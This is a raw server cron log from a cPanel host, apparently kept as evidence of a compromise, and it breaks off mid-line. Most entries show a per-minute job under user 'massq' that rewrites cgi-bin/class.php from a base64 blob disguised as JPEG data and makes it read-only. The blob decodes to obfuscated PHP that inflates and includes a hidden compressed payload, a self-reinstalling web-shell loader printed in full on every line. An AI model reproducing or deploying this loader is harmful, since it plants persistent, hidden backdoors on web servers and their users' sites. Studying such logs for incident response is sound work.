Nov 10 15:40:01 server CROND[6911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:41:01 server CROND[7761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:42:01 server CROND[8777]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 15:42:01 server CROND[8778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:43:01 server CROND[9687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:44:01 server CROND[10502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:45:01 server CROND[11380]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:45:01 server CROND[11381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:45:01 server CROND[11382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:46:01 server CROND[12262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:47:01 server CROND[13237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:48:01 server CROND[14047]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:49:01 server CROND[14882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:50:01 server CROND[15680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:50:01 server CROND[15682]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:50:01 server CROND[15683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:50:01 server CROND[15681]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 15:50:01 server CROND[15684]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 15:51:01 server CROND[16427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:52:01 server CROND[17209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:53:01 server CROND[17617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 